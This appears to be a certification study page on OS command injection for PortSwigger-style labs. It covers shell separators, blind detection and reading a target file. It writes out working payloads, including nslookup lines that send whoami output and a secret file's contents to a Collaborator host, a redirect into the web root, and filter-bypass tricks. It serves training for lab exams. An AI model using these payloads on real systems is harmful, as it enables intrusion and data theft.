Skip to content

OS Command Injection

← Back to index · Stage 3 (read the secret) · Read the mindset page first.

Why it exists: the app runs a shell command and builds it by concatenating your input (a filename to ping, a value to look up). The shell treats metacharacters like ; | & as command separators, so your input isn't just an argument — it's a chance to append your own command. On BSCP it's a Stage-3 route: an admin feature that shells out → you run cat /home/carlos/secret.

The one rule: find the sink → inject a separator + command → confirm execution (output, delay, or OAST) → read the file. Confirm before assuming failure — no output doesn't mean it didn't run.

Decision tree

flowchart TD
  A["Feature runs a system task?"] --> B["Inject separator + command"]
  B --> C{"See command output?"}
  C -->|yes| VIS["In-band: cat the file"]
  C -->|no| D{"Response delayed by a sleep?"}
  D -->|yes| TIME["Blind: time-based / redirect output"]
  D -->|no| OAST["Blind: exfil via Collaborator"]
  VIS --> OUT["Read /home/carlos/secret"]
  TIME --> OUT
  OAST --> OUT

Reading the response: three outcomes, three meanings. Command output in the response = in-band RCE, done. No output but a measurable delay (your sleep/ping) = blind but confirmed — switch to time-based or OOB exfil. No output and no delay = either not injectable or your separator was filtered; rotate separators before concluding it's absent. "Nothing came back" is never proof of failure on its own.

1. Find the sink

Admin features that obviously shell out: a DNS/ping lookup, image/PDF conversion, a backup, a "check stock from supplier" call. The tell is functionality that would naturally call an external program.

2. Separators — why each works

The shell interprets these as "end this command, start another," so your appended command runs as the service:

; cmd      # run sequentially
| cmd      # pipe (runs even if the first command's syntax is off)
& cmd      # background
&& cmd     # run on success    || cmd   # run on failure
$(cmd)  `cmd`   # command substitution — works even when your input is mid-argument/mid-quote

3. Blind confirmation — why timing and OAST

Why: the app often suppresses command output, so "nothing came back" is ambiguous — it may have run perfectly. Force an observable side effect:

& ping -c 10 127.0.0.1 &            # a ~10s delay proves execution (time-based)
& nslookup `whoami`.ID.COLLAB &     # a Collaborator DNS hit proves it AND carries data in the subdomain

4. Read the file

| cat /home/carlos/secret                            # in-band
& cat /home/carlos/secret > /var/www/images/s.txt &  # blind -> redirect to a servable path, then GET it
& nslookup `cat /home/carlos/secret`.ID.COLLAB &     # blind -> OAST (base64 if it has odd chars)

Failure modes

  • No output, assumed failed → test a timing payload; it's probably blind, not broken.
  • Separator filtered → rotate ; | & %0a $() \`; newline%0a` often slips through.
  • Your input is inside quotes → break out first, or use $(...) which executes mid-string.
  • Spaces filtered → ${IFS} or < redirection in place of spaces.
  • OAST subdomain errors → the data has / or newlines; base64 it first.